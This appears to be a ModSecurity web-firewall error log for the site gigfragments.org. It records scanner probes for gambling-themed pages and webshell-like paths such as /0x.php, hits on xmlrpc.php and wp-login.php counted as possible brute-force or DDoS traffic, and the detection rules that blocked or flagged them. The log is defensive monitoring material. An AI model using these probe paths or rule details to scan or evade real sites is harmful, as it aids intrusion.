[Mon Apr 20 05:32:53.624087 2026] [:error] [pid 64440:tid 64463] [client 147.135.253.47:59288] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aeVKBdkVUvTgp8p7mrPkGwAAANQ"]
[Mon Apr 20 05:32:55.437892 2026] [:error] [pid 47779:tid 47798] [client 147.135.253.47:59304] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aeVKB4ahGl1n9UkmcNjrjgAAAVE"]
[Mon Apr 20 05:32:57.312982 2026] [:error] [pid 64332:tid 64354] [client 147.135.253.47:60202] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeVKCcAQ57uMKAVSYEnzyAAAAAw"]
[Mon Apr 20 05:32:59.105942 2026] [:error] [pid 47731:tid 47757] [client 147.135.253.47:60214] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aeVKC1Owpc-h7Nzn-iOVzAAAARg"]
[Mon Apr 20 05:33:00.981835 2026] [:error] [pid 48101:tid 48112] [client 147.135.253.47:60234] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aeVKDPIgenNbs2bVQGsRGgAAAYg"]
[Mon Apr 20 05:33:02.889981 2026] [:error] [pid 47731:tid 47753] [client 147.135.253.47:60246] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aeVKDlOwpc-h7Nzn-iOVzQAAARQ"]
[Mon Apr 20 05:33:04.637739 2026] [:error] [pid 47779:tid 47781] [client 147.135.253.47:60266] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aeVKEIahGl1n9UkmcNjrlgAAAUA"]
[Mon Apr 20 05:33:06.510668 2026] [:error] [pid 64334:tid 64418] [client 147.135.253.47:60282] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aeVKEsNh9IxxDqsrPyOUPgAAAI8"]
[Mon Apr 20 05:33:08.552375 2026] [:error] [pid 48101:tid 48104] [client 147.135.253.47:47838] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aeVKFPIgenNbs2bVQGsRIwAAAYA"]
[Mon Apr 20 05:33:10.574384 2026] [:error] [pid 64440:tid 64466] [client 147.135.253.47:47852] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aeVKFtkVUvTgp8p7mrPkKAAAANc"]
[Mon Apr 20 05:33:12.478169 2026] [:error] [pid 47779:tid 47792] [client 147.135.253.47:47860] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aeVKGIahGl1n9UkmcNjrmAAAAUs"]
[Mon Apr 20 05:33:14.361032 2026] [:error] [pid 64440:tid 64452] [client 147.135.253.47:47874] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aeVKGtkVUvTgp8p7mrPkPAAAAMk"]
[Mon Apr 20 05:33:16.258743 2026] [:error] [pid 64440:tid 64454] [client 147.135.253.47:47878] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aeVKHNkVUvTgp8p7mrPkSQAAAMs"]
[Mon Apr 20 05:33:18.302209 2026] [:error] [pid 47731:tid 47750] [client 147.135.253.47:38338] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aeVKHlOwpc-h7Nzn-iOV0gAAARE"]
[Mon Apr 20 05:33:20.169057 2026] [:error] [pid 47731:tid 47738] [client 147.135.253.47:38354] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aeVKIFOwpc-h7Nzn-iOV2QAAAQU"]
[Mon Apr 20 05:33:22.201362 2026] [:error] [pid 47731:tid 47744] [client 147.135.253.47:38368] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aeVKIlOwpc-h7Nzn-iOV3QAAAQs"]
[Mon Apr 20 05:33:24.075981 2026] [:error] [pid 64334:tid 64409] [client 147.135.253.47:38386] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aeVKJMNh9IxxDqsrPyOUVAAAAIY"]
[Mon Apr 20 05:33:47.813994 2026] [:error] [pid 64334:tid 64413] [client 147.135.253.47:38402] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aeVKO8Nh9IxxDqsrPyOUdAAAAIo"]
[Mon Apr 20 05:33:49.746119 2026] [:error] [pid 64333:tid 64394] [client 147.135.253.47:41514] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aeVKPXZav9wH8wxMd_s62wAAAFI"]
[Mon Apr 20 05:33:51.772446 2026] [:error] [pid 48101:tid 48123] [client 147.135.253.47:41522] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aeVKP_IgenNbs2bVQGsRugAAAZM"]
[Mon Apr 20 05:33:53.779321 2026] [:error] [pid 48101:tid 48127] [client 147.135.253.47:41524] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aeVKQfIgenNbs2bVQGsRygAAAZc"]
[Mon Apr 20 05:33:55.666855 2026] [:error] [pid 47779:tid 47802] [client 147.135.253.47:41536] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aeVKQ4ahGl1n9UkmcNjsFAAAAVU"]
[Mon Apr 20 05:33:57.658838 2026] [:error] [pid 64440:tid 64449] [client 147.135.253.47:55970] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aeVKRdkVUvTgp8p7mrPkbgAAAMY"]
[Mon Apr 20 05:33:59.656581 2026] [:error] [pid 47779:tid 47783] [client 147.135.253.47:55974] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aeVKR4ahGl1n9UkmcNjsFwAAAUI"]
[Mon Apr 20 05:34:01.681634 2026] [:error] [pid 47731:tid 47735] [client 147.135.253.47:55976] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aeVKSVOwpc-h7Nzn-iOV_wAAAQI"]
[Mon Apr 20 05:34:03.677158 2026] [:error] [pid 64334:tid 64425] [client 147.135.253.47:55978] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aeVKS8Nh9IxxDqsrPyOUmAAAAJY"]
[Mon Apr 20 05:34:05.672005 2026] [:error] [pid 47779:tid 47793] [client 147.135.253.47:55992] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aeVKTYahGl1n9UkmcNjsIQAAAUw"]
[Mon Apr 20 05:34:07.678221 2026] [:error] [pid 64440:tid 64446] [client 147.135.253.47:35786] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeVKT9kVUvTgp8p7mrPkdgAAAMM"]
[Mon Apr 20 05:34:09.663772 2026] [:error] [pid 64440:tid 64457] [client 147.135.253.47:35792] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeVKUdkVUvTgp8p7mrPkfwAAAM4"]
[Mon Apr 20 05:34:11.657321 2026] [:error] [pid 47779:tid 47795] [client 147.135.253.47:35808] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aeVKU4ahGl1n9UkmcNjsKAAAAU4"]
[Mon Apr 20 05:34:13.655479 2026] [:error] [pid 64440:tid 64461] [client 147.135.253.47:35814] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aeVKVdkVUvTgp8p7mrPkiwAAANI"]
[Mon Apr 20 05:34:15.646930 2026] [:error] [pid 64334:tid 64408] [client 147.135.253.47:35828] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aeVKV8Nh9IxxDqsrPyOUuQAAAIU"]
[Mon Apr 20 05:34:17.645700 2026] [:error] [pid 64440:tid 64465] [client 147.135.253.47:54476] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aeVKWdkVUvTgp8p7mrPklgAAANY"]
[Mon Apr 20 05:34:19.482208 2026] [:error] [pid 64440:tid 64444] [client 147.135.253.47:54492] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aeVKW9kVUvTgp8p7mrPkngAAAME"]
[Mon Apr 20 05:34:21.479575 2026] [:error] [pid 64334:tid 64426] [client 147.135.253.47:54506] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aeVKXcNh9IxxDqsrPyOU0AAAAJc"]
[Mon Apr 20 05:45:48.371343 2026] [:error] [pid 64334:tid 64424] [client 137.184.64.22:42750] [client 137.184.64.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.64.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeVNDMNh9IxxDqsrPyOXIQAAAJU"]
[Mon Apr 20 06:22:08.604663 2026] [:error] [pid 47731:tid 47743] [client 45.82.122.124:47944] [client 45.82.122.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.82.122.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeVVkFOwpc-h7Nzn-iOheQAAAQo"]
[Mon Apr 20 06:23:25.825457 2026] [:error] [pid 48101:tid 48123] [client 103.74.54.128:46906] [client 103.74.54.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.74.54.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeVV3fIgenNbs2bVQGsYwgAAAZM"]
[Mon Apr 20 06:23:32.009145 2026] [:error] [pid 48101:tid 48127] [client 103.74.54.128:46906] [client 103.74.54.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.74.54.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeVV5PIgenNbs2bVQGsYyAAAAZc"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 20 06:51:30.719444 2026] [:error] [pid 64332:tid 64346] [client 51.210.113.223:56604] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeVccsAQ57uMKAVSYEkL_AAAAAQ"]
[Mon Apr 20 07:46:35.406362 2026] [:error] [pid 64333:tid 64399] [client 36.41.75.167:42379] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeVpW3Zav9wH8wxMd_t71QAAAFc"]
[Mon Apr 20 07:57:43.775915 2026] [:error] [pid 60072:tid 60093] [client 159.223.226.118:60558] [client 159.223.226.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.226.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeVr9_uj5dzu2v3Qr6Gu5wAAAdM"]
[Mon Apr 20 08:08:50.653490 2026] [:error] [pid 60072:tid 60089] [client 149.202.83.206:48136] [client 149.202.83.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.83.206, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeVukvuj5dzu2v3Qr6GxawAAAc8"]
[Mon Apr 20 08:43:39.708472 2026] [:error] [pid 64333:tid 64392] [client 157.66.27.54:59894] [client 157.66.27.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeV2u3Zav9wH8wxMd_uaMQAAAFA"]
[Mon Apr 20 09:05:15.913850 2026] [:error] [pid 64332:tid 64357] [client 148.113.202.220:54128] [client 148.113.202.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.202.220, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeV7y8AQ57uMKAVSYEk-WgAAAA8"]
[Mon Apr 20 09:51:39.998190 2026] [:error] [pid 64333:tid 64379] [client 130.131.243.198:10839] [client 130.131.243.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aeWGq3Zav9wH8wxMd_u9iwAAAEM"]
[Mon Apr 20 09:51:42.104762 2026] [:error] [pid 64333:tid 64393] [client 130.131.243.198:10835] [client 130.131.243.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aeWGrnZav9wH8wxMd_u9mAAAAFE"]
[Mon Apr 20 09:51:43.871833 2026] [:error] [pid 64334:tid 64425] [client 130.131.243.198:10831] [client 130.131.243.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aeWGr8Nh9IxxDqsrPyPRCgAAAJY"]
[Mon Apr 20 09:51:47.994656 2026] [:error] [pid 64440:tid 64462] [client 130.131.243.198:10840] [client 130.131.243.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aeWGs9kVUvTgp8p7mrMMYQAAANM"]
[Mon Apr 20 10:10:30.157452 2026] [:error] [pid 11441:tid 11467] [client 87.98.165.243:52282] [client 87.98.165.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.98.165.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeWLFsixByFUvmh319CBCAAAANg"]
[Mon Apr 20 10:15:17.912466 2026] [:error] [pid 11350:tid 11380] [client 35.201.138.245:54817] [client 35.201.138.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.201.138.245, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeWMNf4EoMBgOJuJnT3-hAAAABU"]
[Mon Apr 20 10:30:07.843874 2026] [:error] [pid 11350:tid 11377] [client 85.214.147.13:33974] [client 85.214.147.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.214.147.13, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeWPr_4EoMBgOJuJnT0DQwAAABI"]
[Mon Apr 20 10:30:09.810450 2026] [:error] [pid 11350:tid 11367] [client 85.214.147.13:33974] [client 85.214.147.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.214.147.13, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeWPsf4EoMBgOJuJnT0DRQAAAAg"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 20 10:44:49.132852 2026] [:error] [pid 11441:tid 11446] [client 20.107.194.250:28887] [client 20.107.194.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aeWTIcixByFUvmh319CZsgAAAMM"]
[Mon Apr 20 10:44:54.019338 2026] [:error] [pid 11350:tid 11379] [client 20.107.194.250:30084] [client 20.107.194.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aeWTJv4EoMBgOJuJnT0H2QAAABQ"]
